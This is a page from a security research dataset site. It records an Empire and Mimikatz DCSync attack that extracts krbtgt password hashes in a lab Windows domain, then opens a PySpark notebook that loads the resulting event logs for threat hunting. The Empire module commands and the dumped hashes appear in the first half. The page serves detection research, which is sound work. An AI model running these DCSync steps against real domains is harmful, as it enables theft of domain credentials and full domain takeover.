<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="mi">1</span><span class="n">EHYPBVC</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">usemodule</span> <span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span>
<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span><span class="p">)</span> <span class="o">&gt;</span> <span class="nb">set</span> <span class="n">user</span> <span class="n">krbtgt</span>
<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span><span class="p">)</span> <span class="o">&gt;</span> <span class="nb">set</span> <span class="n">domain</span> <span class="n">theshire</span><span class="o">.</span><span class="n">local</span>
<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span><span class="p">)</span> <span class="o">&gt;</span> <span class="nb">set</span> <span class="n">dc</span> <span class="n">MORDORDC</span><span class="o">.</span><span class="n">theshire</span><span class="o">.</span><span class="n">local</span>
<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">info</span>

              <span class="n">Name</span><span class="p">:</span> <span class="n">Invoke</span><span class="o">-</span><span class="n">Mimikatz</span> <span class="n">DCsync</span>
            <span class="n">Module</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span>
        <span class="n">NeedsAdmin</span><span class="p">:</span> <span class="kc">False</span>
        <span class="n">OpsecSafe</span><span class="p">:</span> <span class="kc">True</span>
          <span class="n">Language</span><span class="p">:</span> <span class="n">powershell</span>
<span class="n">MinLanguageVersion</span><span class="p">:</span> <span class="mi">2</span>
        <span class="n">Background</span><span class="p">:</span> <span class="kc">True</span>
  <span class="n">OutputExtension</span><span class="p">:</span> <span class="kc">None</span>

<span class="n">Authors</span><span class="p">:</span>
  <span class="nd">@gentilkiwi</span>
  <span class="n">Vincent</span> <span class="n">Le</span> <span class="n">Toux</span>
  <span class="nd">@JosephBialek</span>

<span class="n">Description</span><span class="p">:</span>
  <span class="n">Runs</span> <span class="n">PowerSploit</span><span class="s1">&#39;s Invoke-Mimikatz function to extract a</span>
  <span class="n">given</span> <span class="n">account</span> <span class="n">password</span> <span class="n">through</span> <span class="n">Mimikatz</span><span class="s1">&#39;s lsadump::dcsync</span>
  <span class="n">module</span><span class="o">.</span> <span class="n">This</span> <span class="n">doesn</span><span class="s1">&#39;t need code execution on a given DC, but</span>
  <span class="n">needs</span> <span class="n">to</span> <span class="n">be</span> <span class="n">run</span> <span class="kn">from</span> <span class="nn">a</span> <span class="n">user</span> <span class="n">context</span> <span class="k">with</span> <span class="n">DA</span> <span class="n">equivalent</span>
  <span class="n">privileges</span><span class="o">.</span>

<span class="n">Comments</span><span class="p">:</span>
  <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">blog</span><span class="o">.</span><span class="n">gentilkiwi</span><span class="o">.</span><span class="n">com</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">clymb3r</span><span class="o">.</span><span class="n">wordpress</span><span class="o">.</span><span class="n">com</span><span class="o">/</span>

<span class="n">Options</span><span class="p">:</span>

  <span class="n">Name</span>   <span class="n">Required</span>    <span class="n">Value</span>                     <span class="n">Description</span>
  <span class="o">----</span>   <span class="o">--------</span>    <span class="o">-------</span>                   <span class="o">-----------</span>
  <span class="n">Agent</span>  <span class="kc">True</span>        <span class="mi">1</span><span class="n">EHYPBVC</span>                  <span class="n">Agent</span> <span class="n">to</span> <span class="n">run</span> <span class="n">module</span> <span class="n">on</span><span class="o">.</span>                 
  <span class="n">user</span>   <span class="kc">True</span>        <span class="n">krbtgt</span>                    <span class="n">Username</span> <span class="n">to</span> <span class="n">extract</span> <span class="n">the</span> <span class="nb">hash</span> <span class="k">for</span>        
                                              <span class="p">(</span><span class="n">domain</span>\<span class="n">username</span> <span class="nb">format</span><span class="p">)</span><span class="o">.</span>               
  <span class="n">domain</span> <span class="kc">False</span>       <span class="n">theshire</span><span class="o">.</span><span class="n">local</span>            <span class="n">Specified</span> <span class="p">(</span><span class="n">fqdn</span><span class="p">)</span> <span class="n">domain</span> <span class="n">to</span> <span class="n">pull</span> <span class="k">for</span> <span class="n">the</span> 
                                              <span class="n">primary</span> <span class="n">domain</span><span class="o">/</span><span class="n">DC</span><span class="o">.</span>                      
  <span class="n">dc</span>     <span class="kc">False</span>       <span class="n">MORDORDC</span><span class="o">.</span><span class="n">theshire</span><span class="o">.</span><span class="n">local</span>   <span class="n">Specified</span> <span class="p">(</span><span class="n">fqdn</span><span class="p">)</span> <span class="n">domain</span> <span class="n">controller</span> <span class="n">to</span>   
                                              <span class="n">pull</span> <span class="n">replication</span> <span class="n">data</span> <span class="n">from</span><span class="o">.</span>             

<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">execute</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Tasked</span> <span class="mi">1</span><span class="n">EHYPBVC</span> <span class="n">to</span> <span class="n">run</span> <span class="n">TASK_CMD_JOB</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Agent</span> <span class="mi">1</span><span class="n">EHYPBVC</span> <span class="n">tasked</span> <span class="k">with</span> <span class="n">task</span> <span class="n">ID</span> <span class="mi">1</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Tasked</span> <span class="n">agent</span> <span class="mi">1</span><span class="n">EHYPBVC</span> <span class="n">to</span> <span class="n">run</span> <span class="n">module</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span>
<span class="p">(</span><span class="n">Empire</span><span class="p">:</span> <span class="n">powershell</span><span class="o">/</span><span class="n">credentials</span><span class="o">/</span><span class="n">mimikatz</span><span class="o">/</span><span class="n">dcsync</span><span class="p">)</span> <span class="o">&gt;</span> 
<span class="n">Job</span> <span class="n">started</span><span class="p">:</span> <span class="mi">5</span><span class="n">PKMSU</span>

<span class="n">Hostname</span><span class="p">:</span> <span class="n">WORKSTATION5</span><span class="o">.</span><span class="n">theshire</span><span class="o">.</span><span class="n">local</span> <span class="o">/</span> <span class="n">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">21</span><span class="o">-</span><span class="mi">4228717743</span><span class="o">-</span><span class="mi">1032521047</span><span class="o">-</span><span class="mi">1810997296</span>

  <span class="o">.</span><span class="c1">#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2020 20:07:46</span>
<span class="o">.</span><span class="c1">## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)</span>
<span class="c1">## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )</span>
<span class="c1">## \ / ##       &gt; http://blog.gentilkiwi.com/mimikatz</span>
<span class="s1">&#39;## v ##&#39;</span>       <span class="n">Vincent</span> <span class="n">LE</span> <span class="n">TOUX</span>             <span class="p">(</span> <span class="n">vincent</span><span class="o">.</span><span class="n">letoux</span><span class="nd">@gmail</span><span class="o">.</span><span class="n">com</span> <span class="p">)</span>
  <span class="s1">&#39;#####&#39;</span>        <span class="o">&gt;</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">pingcastle</span><span class="o">.</span><span class="n">com</span> <span class="o">/</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">mysmartlogon</span><span class="o">.</span><span class="n">com</span>   <span class="o">***/</span>

<span class="n">mimikatz</span><span class="p">(</span><span class="n">powershell</span><span class="p">)</span> <span class="c1"># lsadump::dcsync /user:krbtgt /domain:theshire.local /dc:MORDORDC.theshire.local</span>
<span class="p">[</span><span class="n">DC</span><span class="p">]</span> <span class="s1">&#39;theshire.local&#39;</span> <span class="n">will</span> <span class="n">be</span> <span class="n">the</span> <span class="n">domain</span>
<span class="p">[</span><span class="n">DC</span><span class="p">]</span> <span class="s1">&#39;MORDORDC.theshire.local&#39;</span> <span class="n">will</span> <span class="n">be</span> <span class="n">the</span> <span class="n">DC</span> <span class="n">server</span>
<span class="p">[</span><span class="n">DC</span><span class="p">]</span> <span class="s1">&#39;krbtgt&#39;</span> <span class="n">will</span> <span class="n">be</span> <span class="n">the</span> <span class="n">user</span> <span class="n">account</span>

<span class="n">Object</span> <span class="n">RDN</span>           <span class="p">:</span> <span class="n">krbtgt</span>

<span class="o">**</span> <span class="n">SAM</span> <span class="n">ACCOUNT</span> <span class="o">**</span>

<span class="n">SAM</span> <span class="n">Username</span>         <span class="p">:</span> <span class="n">krbtgt</span>
<span class="n">Account</span> <span class="n">Type</span>         <span class="p">:</span> <span class="mi">30000000</span> <span class="p">(</span> <span class="n">USER_OBJECT</span> <span class="p">)</span>
<span class="n">User</span> <span class="n">Account</span> <span class="n">Control</span> <span class="p">:</span> <span class="mi">00000202</span> <span class="p">(</span> <span class="n">ACCOUNTDISABLE</span> <span class="n">NORMAL_ACCOUNT</span> <span class="p">)</span>
<span class="n">Account</span> <span class="n">expiration</span>   <span class="p">:</span> 
<span class="n">Password</span> <span class="n">last</span> <span class="n">change</span> <span class="p">:</span> <span class="mi">9</span><span class="o">/</span><span class="mi">17</span><span class="o">/</span><span class="mi">2020</span> <span class="mi">11</span><span class="p">:</span><span class="mi">14</span><span class="p">:</span><span class="mi">46</span> <span class="n">AM</span>
<span class="n">Object</span> <span class="n">Security</span> <span class="n">ID</span>   <span class="p">:</span> <span class="n">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">21</span><span class="o">-</span><span class="mi">4228717743</span><span class="o">-</span><span class="mi">1032521047</span><span class="o">-</span><span class="mi">1810997296</span><span class="o">-</span><span class="mi">502</span>
<span class="n">Object</span> <span class="n">Relative</span> <span class="n">ID</span>   <span class="p">:</span> <span class="mi">502</span>

<span class="n">Credentials</span><span class="p">:</span>
  <span class="n">Hash</span> <span class="n">NTLM</span><span class="p">:</span> <span class="n">c2547afe54ff225a546c48805714d000</span>
    <span class="n">ntlm</span><span class="o">-</span> <span class="mi">0</span><span class="p">:</span> <span class="n">c2547afe54ff225a546c48805714d000</span>
    <span class="n">lm</span>  <span class="o">-</span> <span class="mi">0</span><span class="p">:</span> <span class="mi">376</span><span class="n">c6c28a8cfd97055be910640a24428</span>

<span class="n">Supplemental</span> <span class="n">Credentials</span><span class="p">:</span>
<span class="o">*</span> <span class="n">Primary</span><span class="p">:</span><span class="n">NTLM</span><span class="o">-</span><span class="n">Strong</span><span class="o">-</span><span class="n">NTOWF</span> <span class="o">*</span>
    <span class="n">Random</span> <span class="n">Value</span> <span class="p">:</span> <span class="n">a69dcd105b2fc3955a3f52ca00a26902</span>

<span class="o">*</span> <span class="n">Primary</span><span class="p">:</span><span class="n">Kerberos</span><span class="o">-</span><span class="n">Newer</span><span class="o">-</span><span class="n">Keys</span> <span class="o">*</span>
    <span class="n">Default</span> <span class="n">Salt</span> <span class="p">:</span> <span class="n">THESHIRE</span><span class="o">.</span><span class="n">LOCALkrbtgt</span>
    <span class="n">Default</span> <span class="n">Iterations</span> <span class="p">:</span> <span class="mi">4096</span>
    <span class="n">Credentials</span>
      <span class="n">aes256_hmac</span>       <span class="p">(</span><span class="mi">4096</span><span class="p">)</span> <span class="p">:</span> <span class="mi">2954</span><span class="n">d183aaca51936dea10ea187e198814fa57b136733ca167b5d3fcc5b6ab2a</span>
      <span class="n">aes128_hmac</span>       <span class="p">(</span><span class="mi">4096</span><span class="p">)</span> <span class="p">:</span> <span class="n">a8811f9942540c8f10c3837a6975d446</span>
      <span class="n">des_cbc_md5</span>       <span class="p">(</span><span class="mi">4096</span><span class="p">)</span> <span class="p">:</span> <span class="n">e36d674cc7c8b983</span>

<span class="o">*</span> <span class="n">Primary</span><span class="p">:</span><span class="n">Kerberos</span> <span class="o">*</span>
    <span class="n">Default</span> <span class="n">Salt</span> <span class="p">:</span> <span class="n">THESHIRE</span><span class="o">.</span><span class="n">LOCALkrbtgt</span>
    <span class="n">Credentials</span>
      <span class="n">des_cbc_md5</span>       <span class="p">:</span> <span class="n">e36d674cc7c8b983</span>

<span class="o">*</span> <span class="n">Packages</span> <span class="o">*</span>
    <span class="n">NTLM</span><span class="o">-</span><span class="n">Strong</span><span class="o">-</span><span class="n">NTOWF</span>

<span class="o">*</span> <span class="n">Primary</span><span class="p">:</span><span class="n">WDigest</span> <span class="o">*</span>
    <span class="mi">01</span>  <span class="mi">774</span><span class="n">cc07151941eb115c0fd700fa5715b</span>
    <span class="mi">02</span>  <span class="mi">6</span><span class="n">a75ae70376df6a3a3e23f560890ac90</span>
    <span class="mi">03</span>  <span class="n">cd5fa9ee1e6ab120cd6edb6970f56f38</span>
    <span class="mi">04</span>  <span class="mi">774</span><span class="n">cc07151941eb115c0fd700fa5715b</span>
    <span class="mi">05</span>  <span class="mi">6</span><span class="n">a75ae70376df6a3a3e23f560890ac90</span>
    <span class="mi">06</span>  <span class="mi">168</span><span class="n">d6e12549fcbfa3931ffe79e6a978f</span>
    <span class="mi">07</span>  <span class="mi">774</span><span class="n">cc07151941eb115c0fd700fa5715b</span>
    <span class="mi">08</span>  <span class="n">c2fc61fda20bbacb17fb29b10d7b8144</span>
    <span class="mi">09</span>  <span class="n">c2fc61fda20bbacb17fb29b10d7b8144</span>
    <span class="mi">10</span>  <span class="mi">2985</span><span class="n">ad74f9f6f53e7533662687998542</span>
    <span class="mi">11</span>  <span class="mi">4</span><span class="n">f58b2e2f9e8505a4b364b5c7bb0f0c5</span>
    <span class="mi">12</span>  <span class="n">c2fc61fda20bbacb17fb29b10d7b8144</span>
    <span class="mi">13</span>  <span class="mi">61</span><span class="n">c34cf9f0bb6f8062250ffff84cda07</span>
    <span class="mi">14</span>  <span class="mi">4</span><span class="n">f58b2e2f9e8505a4b364b5c7bb0f0c5</span>
    <span class="mi">15</span>  <span class="mi">8</span><span class="n">a1d00b5e9c900715124c0998c19b909</span>
    <span class="mi">16</span>  <span class="mi">8</span><span class="n">a1d00b5e9c900715124c0998c19b909</span>
    <span class="mi">17</span>  <span class="n">da88e05b3fe5adc93f5838eb33fadb98</span>
    <span class="mi">18</span>  <span class="mi">45</span><span class="n">d131a894f854b5400167647aa5ae0f</span>
    <span class="mi">19</span>  <span class="mi">2</span><span class="n">a1e106ba660636a95def3aad248ca6c</span>
    <span class="mi">20</span>  <span class="n">c05fa8a38b50e8c9088d3a64a7659817</span>
    <span class="mi">21</span>  <span class="mi">28</span><span class="n">c03b871631ef39fc8cbc7fbb8e52e8</span>
    <span class="mi">22</span>  <span class="mi">28</span><span class="n">c03b871631ef39fc8cbc7fbb8e52e8</span>
    <span class="mi">23</span>  <span class="mf">5e1</span><span class="n">dceb9c5260211633323b398af827d</span>
    <span class="mi">24</span>  <span class="n">e3b40de14a439d9c18c57cc60002c5f5</span>
    <span class="mi">25</span>  <span class="n">e3b40de14a439d9c18c57cc60002c5f5</span>
    <span class="mi">26</span>  <span class="n">e52cde43b834f641f9f80190b29064a7</span>
    <span class="mi">27</span>  <span class="mi">3</span><span class="n">b2e4b4ad448b19043d422dc9bf4fadc</span>
    <span class="mi">28</span>  <span class="mi">0</span><span class="n">c45e5c4ef958888593d806c650f0e3d</span>
    <span class="mi">29</span>  <span class="mi">1822249537162</span><span class="n">bad7b9808ae6b51c627</span>
</pre></div>
</div>
</div>
<div class="section" id="explore-mordor-dataset">
<h2>Explore Mordor Dataset<a class="headerlink" href="#explore-mordor-dataset" title="Permalink to this headline">¶</a></h2>
<div class="section" id="initialize-analytics-engine">
<h3>Initialize Analytics Engine<a class="headerlink" href="#initialize-analytics-engine" title="Permalink to this headline">¶</a></h3>
<div class="cell docutils container">
<div class="cell_input docutils container">
<div class="highlight-ipython3 notranslate"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">openhunt.mordorutils</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">spark</span> <span class="o">=</span> <span class="n">get_spark</span><span class="p">()</span>
</pre></div>
</div>
</div>
</div>
</div>
<div class="section" id="download-process-mordor-file">
<h3>Download &amp; Process Mordor File<a class="headerlink" href="#download-process-mordor-file" title="Permalink to this headline">¶</a></h3>
<div class="cell docutils container">
<div class="cell_input docutils container">
<div class="highlight-ipython3 notranslate"><div class="highlight"><pre><span></span><span class="n">mordor_file</span> <span class="o">=</span> <span class="s2">&quot;https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/empire_dcsync_dcerpc_drsuapi_DsGetNCChanges.zip&quot;</span>
<span class="n">registerMordorSQLTable</span><span class="p">(</span><span class="n">spark</span><span class="p">,</span> <span class="n">mordor_file</span><span class="p">,</span> <span class="s2">&quot;mordorTable&quot;</span><span class="p">)</span>
</pre></div>
</div>
</div>
<div class="cell_output docutils container">
<div class="output stream highlight-myst-ansi notranslate"><div class="highlight"><pre><span></span>[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 
</pre></div>
</div>
</div>
</div>
</div>
<div class="section" id="get-to-know-your-data">
<h3>Get to know your data<a class="headerlink" href="#get-to-know-your-data" title="Permalink to this headline">¶</a></h3>
<div class="cell docutils container">
<div class="cell_input docutils container">
<div class="highlight-ipython3 notranslate"><div class="highlight"><pre><span></span><span class="n">df</span> <span class="o">=</span> <span class="n">spark</span><span class="o">.</span><span class="n">sql</span><span class="p">(</span>
<span class="sd">&#39;&#39;&#39;</span>
<span class="sd">SELECT Hostname,Channel,EventID, Count(*) as count</span>
<span class="sd">FROM mordorTable</span>
<span class="sd">GROUP BY Hostname,Channel,EventID</span>
<span class="sd">ORDER BY count DESC</span>
<span class="sd">&#39;&#39;&#39;</span>
<span class="p">)</span>
<span class="n">df</span><span class="o">.</span><span class="n">show</span><span class="p">(</span><span class="n">truncate</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</pre></div>
</div>
</div>
<div class="cell_output docutils container">
<div class="output stream highlight-myst-ansi notranslate"><div class="highlight"><pre><span></span>+---------------------------+----------------------------------------+-------+-----+
|Hostname                   |Channel                                 |EventID|count|
+---------------------------+----------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Windows PowerShell                      |800    |3880 |
|WORKSTATION5.theshire.local|Microsoft-Windows-PowerShell/Operational|4103   |3609 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |238  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |131  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |7      |84   |
|MORDORDC.theshire.local    |Security                                |4658   |82   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |58   |
|MORDORDC.theshire.local    |Security                                |4656   |41   |
|MORDORDC.theshire.local    |Security                                |4690   |41   |
|MORDORDC.theshire.local    |Security                                |4663   |41   |
|MORDORDC.theshire.local    |Security                                |5158   |37   |
|MORDORDC.theshire.local    |Security                                |5156   |31   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |22   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |13   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |13   |
|WORKSTATION5.theshire.local|security                                |5158   |12   |
|WORKSTATION5.theshire.local|security                                |5156   |9    |
|WORKSTATION5.theshire.local|security                                |4703   |9    |
|MORDORDC.theshire.local    |Security                                |4627   |8    |
|MORDORDC.theshire.local    |Security                                |4672   |8    |
+---------------------------+----------------------------------------+-------+-----+
only showing top 20 rows
</pre></div>
</div>
</div>
</div>
</div>
</div>
</div>

    <script type="text/x-thebe-config">
    {
        requestKernel: true,
        binderOptions: {
            repo: "OTRF/mordor",
            ref: "master",
        },
        codeMirrorConfig: {
            theme: "abcdef",
            mode: "pyspark3"
        },
        kernelOptions: {
            kernelName: "pyspark3",
            path: "./notebooks/small/windows/06_credential_access"
        },
        predefinedOutput: true
    }
    </script>
    <script>kernelName = 'pyspark3'</script>

              </div>
              
        </div>
    </div>
    
    
    <div class='prev-next-bottom'>
        
    <a class='left-prev' id="prev-link" href="SDWIN-190625103712.html" title="previous page">Empire Mimikatz SAM Extract Hashes</a>
    <a class='right-next' id="next-link" href="SDWIN-190518235535.html" title="next page">Empire Mimikatz Backup Keys</a>

    </div>
    <footer class="footer mt-5 mt-md-0">
    <div class="container">
      <p>
        
          By Roberto Rodriguez @Cyb3rWard0g<br/>
        
            &copy; Copyright 2020.<br/>
      </p>
    </div>
  </footer>
</main>


      </div>
    </div>

    <script src="../../../../_static/js/index.js"></script>
    
  </body>
</html>